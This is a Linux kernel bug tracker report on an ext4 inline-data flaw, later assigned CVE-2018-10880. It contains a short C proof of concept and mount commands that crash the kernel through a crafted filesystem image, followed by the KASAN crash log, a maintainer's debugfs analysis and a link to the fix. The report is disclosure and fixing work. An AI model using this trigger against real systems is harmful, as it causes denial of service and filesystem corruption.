Bug 200005

Summary: BUG() triggered in ext4_update_inline_data() when mounting and writing to a crafted ext4 image
Product: File System Reporter: Wen Xu (wen.xu)
Component: ext4Assignee: fs_ext4 (fs_ext4)
Status: RESOLVED CODE_FIX    
Severity: normal CC: tytso, wen.xu
Priority: P1    
Hardware: All   
OS: Linux   
Kernel Version: 4.17 Subsystem:
Regression: No Bisected commit-id:
Attachments: The (compressed) crafted image which causes crash

Description Wen Xu 2018-06-09 01:32:26 UTC
Created attachment 276409 [details]
The (compressed) crafted image which causes crash

- Overview
BUG() triggered in ext4_update_inline_data() when mounting and writing to a crafted ext4 image

- Reproduce (ext4 dev branch)
# mkdir mnt
# mount -t ext4 155.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    write(fd, (char *)buf, 517);
    close(fd);
  }

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[  374.183903] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[  379.182404] EXT4-fs error (device loop0): ext4_mb_generate_buddy:746: group 0, block bitmap and bg descriptor inconsistent: 6607 vs 6416 free clusters
[  379.186036] JBD2: Spotted dirty metadata buffer (dev = loop0, blocknr = 1). There's a risk of filesystem corruption in case of system crash.
[  379.186215] ------------[ cut here ]------------
[  379.186218] kernel BUG at fs/ext4/inline.c:338!
[  379.187299] invalid opcode: 0000 [#1] SMP KASAN PTI
[  379.188335] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 mac_hid soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq raid1 raid0 multipath linear 8139too qxl drm_kms_helper syscopyarea sysfillrect crct10dif_pclmul sysimgblt fb_sys_fops ttm crc32_pclmul drm aesni_intel aes_x86_64 crypto_simd cryptd glue_helper pata_acpi 8139cp floppy mii
[  379.199273] CPU: 0 PID: 1381 Comm: a.out Not tainted 4.17.0-rc4+ #5
[  379.200583] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  379.202585] RIP: 0010:ext4_update_inline_data+0x333/0x340
[  379.203708] RSP: 0018:ffff8801f0db74d0 EFLAGS: 00010286
[  379.204814] RAX: 00000000ffffffc3 RBX: 1ffff1003e1b6e9e RCX: ffffffff86557b00
[  379.206286] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff8801f0db7570
[  379.207758] RBP: ffff8801f0db75f8 R08: ffffffff87738080 R09: 0000000000000000
[  379.209238] R10: 0000000000000001 R11: ffffed003d7d3cb4 R12: ffff8801ec0c1d08
[  379.210710] R13: 0000000000000205 R14: ffff8801ec0c1fd8 R15: ffff8801ebe2cf40
[  379.212184] FS:  00007f5e27538700(0000) GS:ffff8801f7000000(0000) knlGS:0000000000000000
[  379.213849] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  379.215038] CR2: 000000000205c158 CR3: 00000001e45aa000 CR4: 00000000000006f0
[  379.216526] Call Trace:
[  379.217060]  ? ext4_read_inline_page+0x2e0/0x2e0
[  379.218054]  ? kasan_check_write+0x14/0x20
[  379.218918]  ? ext4_convert_inline_data_nolock+0x7b0/0x7b0
[  379.220063]  ? jbd2__journal_start+0x19d/0x300
[  379.221008]  ext4_prepare_inline_data+0xcb/0xe0
[  379.221954]  ext4_try_to_write_inline_data+0x3c9/0x9c0
[  379.223024]  ? __kasan_slab_free+0x151/0x1a0
[  379.223916]  ? jbd2_journal_stop+0x23d/0x840
[  379.241577]  ? kasan_slab_free+0xe/0x10
[  379.242394]  ? ext4_readpage_inline+0x180/0x180
[  379.243348]  ? __ext4_get_inode_loc+0x231/0x680
[  379.244329]  ? strlen+0x25/0x40
[  379.245018]  ? ext4_ind_trans_blocks+0x2a/0x50
[  379.245952]  ? ext4_meta_trans_blocks+0xf3/0x130
[  379.246923]  ext4_write_begin+0x662/0x7c0
[  379.247770]  ? ext4_truncate+0x780/0x780
[  379.248618]  ? ext4_xattr_get+0x135/0x4d0
[  379.249466]  ext4_da_write_begin+0x414/0x610
[  379.250381]  ? csum_and_copy_to_iter+0x830/0x830
[  379.251356]  ? ext4_write_begin+0x7c0/0x7c0
[  379.252237]  ? ext4_xattr_security_get+0x1f/0x30
[  379.253231]  ? __vfs_getxattr+0x67/0x90
[  379.254064]  generic_perform_write+0x192/0x320
[  379.255006]  ? __bpf_trace_filemap_set_wb_err+0x10/0x10
[  379.256113]  ? file_update_time+0x1d2/0x270
[  379.257032]  ? unwind_dump+0x290/0x290
[  379.257830]  ? current_time+0x80/0x80
[  379.258608]  __generic_file_write_iter+0x261/0x2e0
[  379.259625]  ext4_file_write_iter+0x1dd/0x800
[  379.260562]  ? ext4_file_mmap+0x150/0x150
[  379.261412]  ? save_stack+0xb5/0xd0
[  379.262173]  ? aa_path_link+0x210/0x210
[  379.262992]  ? kasan_slab_free+0xe/0x10
[  379.263804]  ? kmem_cache_free+0x89/0x1e0
[  379.264673]  ? putname+0x80/0x90
[  379.265364]  ? do_sys_open+0x22e/0x2c0
[  379.266159]  ? __x64_sys_open+0x4c/0x60
[  379.266988]  ? do_syscall_64+0x78/0x170
[  379.267816]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  379.268942]  ? update_load_avg+0x898/0xc70
[  379.269812]  ? iov_iter_init+0x82/0xc0
[  379.270610]  __vfs_write+0x294/0x3f0
[  379.271371]  ? kernel_read+0xa0/0xa0
[  379.272132]  ? common_file_perm+0x11b/0x2e0
[  379.273028]  ? may_open_dev+0x50/0x50
[  379.273807]  ? apparmor_task_setrlimit+0x270/0x270
[  379.274814]  ? rw_verify_area+0x78/0x140
[  379.275646]  vfs_write+0xf9/0x260
[  379.276354]  ksys_write+0xb4/0x140
[  379.277088]  ? __ia32_sys_read+0x50/0x50
[  379.277931]  ? task_work_run+0x4d/0xf0
[  379.278729]  __x64_sys_write+0x43/0x50
[  379.279523]  do_syscall_64+0x78/0x170
[  379.280300]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  379.281396] RIP: 0033:0x7f5e2704a2c0
[  379.282163] RSP: 002b:00007ffdf7c59718 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[  379.283754] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f5e2704a2c0
[  379.285251] RDX: 0000000000000205 RSI: 0000000000602140 RDI: 0000000000000003
[  379.286731] RBP: 00007ffdf7c59880 R08: 0000000000000003 R09: 0000000000000000
[  379.288210] R10: 000000000000086f R11: 0000000000000246 R12: 0000000000400c20
[  379.289699] R13: 00007ffdf7c59980 R14: 0000000000000000 R15: 0000000000000000
[  379.291177] Code: f5 ea ff 48 8b 7d 80 8b 85 f0 fe ff ff 48 85 ff 0f 84 d5 fd ff ff e8 1d 59 f5 ff 8b 85 f0 fe ff ff e9 c5 fd ff ff 45 31 c9 eb ca <0f> 0b e8 16 c4 be ff 66 0f 1f 44 00 00 66 66 66 66 90 55 48 b8
[  379.295101] RIP: ext4_update_inline_data+0x333/0x340 RSP: ffff8801f0db74d0
[  379.296603] ---[ end trace 9f703e0d0e15b354 ]---
[  379.298130] ==================================================================
[  379.299698] BUG: KASAN: stack-out-of-bounds in arch_tlb_gather_mmu+0x52/0x170
[  379.301219] Write of size 8 at addr ffff8801f0db7d10 by task a.out/1381

[  379.302947] CPU: 0 PID: 1381 Comm: a.out Tainted: G      D           4.17.0-rc4+ #5
[  379.304630] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  379.308030] Call Trace:
[  379.308592]  dump_stack+0x7b/0xb5
[  379.309306]  print_address_description+0x70/0x290
[  379.310292]  kasan_report+0x291/0x390
[  379.311066]  ? arch_tlb_gather_mmu+0x52/0x170
[  379.311987]  __asan_store8+0x57/0x90
[  379.312762]  arch_tlb_gather_mmu+0x52/0x170
[  379.313644]  tlb_gather_mmu+0x12/0x40
[  379.314421]  exit_mmap+0x102/0x280
[  379.315146]  ? __ia32_sys_munmap+0x50/0x50
[  379.316018]  ? exit_aio+0x98/0x230
[  379.316761]  ? __x32_compat_sys_io_submit+0x100/0x100
[  379.317832]  ? taskstats_exit+0x1f4/0x640
[  379.318684]  ? kasan_check_read+0x11/0x20
[  379.319545]  ? mm_update_next_owner+0x322/0x380
[  379.320516]  mmput+0x8b/0x1d0
[  379.321151]  do_exit+0x43a/0x1390
[  379.321857]  ? mm_update_next_owner+0x380/0x380
[  379.322808]  ? ksys_write+0xb4/0x140
[  379.323566]  ? __ia32_sys_read+0x50/0x50
[  379.324406]  ? task_work_run+0x4d/0xf0
[  379.325200]  ? __x64_sys_write+0x43/0x50
[  379.326030]  rewind_stack_do_exit+0x17/0x20
[  379.326911] RIP: 0033:0x7f5e2704a2c0
[  379.327665] RSP: 002b:00007ffdf7c59718 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[  379.329246] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f5e2704a2c0
[  379.330725] RDX: 0000000000000205 RSI: 0000000000602140 RDI: 0000000000000003
[  379.332201] RBP: 00007ffdf7c59880 R08: 0000000000000003 R09: 0000000000000000
[  379.333682] R10: 000000000000086f R11: 0000000000000246 R12: 0000000000400c20
[  379.336032] R13: 00007ffdf7c59980 R14: 0000000000000000 R15: 0000000000000000

[  379.337895] The buggy address belongs to the page:
[  379.339194] page:ffffea0007c36dc0 count:0 mapcount:0 mapping:0000000000000000 index:0x0
[  379.340920] flags: 0x2ffff0000000000()
[  379.341728] raw: 02ffff0000000000 0000000000000000 0000000000000000 00000000ffffffff
[  379.343340] raw: 0000000000000000 ffffea0007c37160 ffff8801f6d90000 0000000000000000
[  379.350621] page dumped because: kasan: bad access detected

[  379.352812] Memory state around the buggy address:
[  379.353822]  ffff8801f0db7c00: 00 00 00 00 00 00 00 f4 f4 00 00 00 00 00 00 00
[  379.355322]  ffff8801f0db7c80: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
[  379.357009] >ffff8801f0db7d00: 00 00 f2 00 00 00 00 00 00 00 00 00 00 f4 f4 f4
[  379.358514]                          ^
[  379.359535]  ffff8801f0db7d80: f3 f3 f3 f3 00 00 00 00 f4 f3 f3 f3 f3 00 00 00
[  379.361074]  ffff8801f0db7e00: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4
[  379.362581] ==================================================================

- Location
https://elixir.bootlin.com/linux/v4.17/source/fs/ext4/inline.c#L332
	error = ext4_xattr_ibody_find(inode, &i, &is);
	if (error)
		goto out;

	BUG_ON(is.s.not_found);

Reported by Wen Xu from SSLab at Gatech.
Comment 1 Theodore Tso 2018-06-10 04:24:19 UTC
Part of what is going on here is that there is an extended attribute for system.data stored in the inode in question, but the subsequent extended attribute is corrupted.   The next problem is that the struct superblock has a required isize of 84, so this triggers an attempt to allocate an external xattr block to move some of the xattrs out.   Then we try to allocate a block, and the block allocation bitmaps are corrupted, so the block allocation fails.

Somewhere along this whole mess, we lose system.data extended attribute, which is why the subsequent write isn't able to find it, thus triggering the BUG_ON(is.s.not_found)

So one or more of the various error handling isn't handling the errors=continue case correctly.   Definitely a case of an extremely maliciously crafted file system!

From debugfs's stats command:

Required extra isize:     84
Desired extra isize:      32

debugfs:  stat <14>
Inode: 14   Type: regular    Mode:  0644   Flags: 0x10000000
Generation: 3064322158    Version: 0x00000000:00000001
User:     0   Group:     0   Project:     0   Size: 11
File ACL: 0
Links: 2   Blockcount: 0
Fragment:  Address: 0    Number: 0    Size: 0
 ctime: 0x5b189273:ba993a5c -- Wed Jun  6 22:03:31 2018
 atime: 0x5b189273:b9a515a0 -- Wed Jun  6 22:03:31 2018
 mtime: 0x5b189273:b9a515a0 -- Wed Jun  6 22:03:31 2018
crtime: 0x5b189273:b9a515a0 -- Wed Jun  6 22:03:31 2018
Size of extra inode fields: 32
debugfs:  id -e <14>
0000  0000 02ea 0407 0000 0000 0000 0000 0000  ................
0020  0000 0000 6461 7461 02e8 0300 0000 ffff  ....data........
0040  ff7f 0000 0000 0000 0000 0000 0000 0000  ................
0060  0000 0000 0000 0000 0000 0000 0000 0000  ................
*
0120  0000 0000 0000 0000 0000 0000 0000 fffd  ................

debugfs:  id -b <14>
0000  6865 6c6c 6f20 776f 726c 6400 0000 0000  hello world.....
0020  0000 0000 0000 0000 0000 0000 0000 0000  ................
*
Comment 2 Theodore Tso 2018-06-18 12:50:14 UTC
This bug is fixed by

ext4: never move the system.data xattr out of the inode body
       http://patchwork.ozlabs.org/patch/930639/

And is a real inline data bug that can be triggered without needing a specially crafted file system (although, of course, the inline_data feature has to be enabled in the file system --- which is currently not the default).
Comment 3 Theodore Tso 2018-07-02 16:06:25 UTC
This has been assigned CVE-2018-10880

Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1596812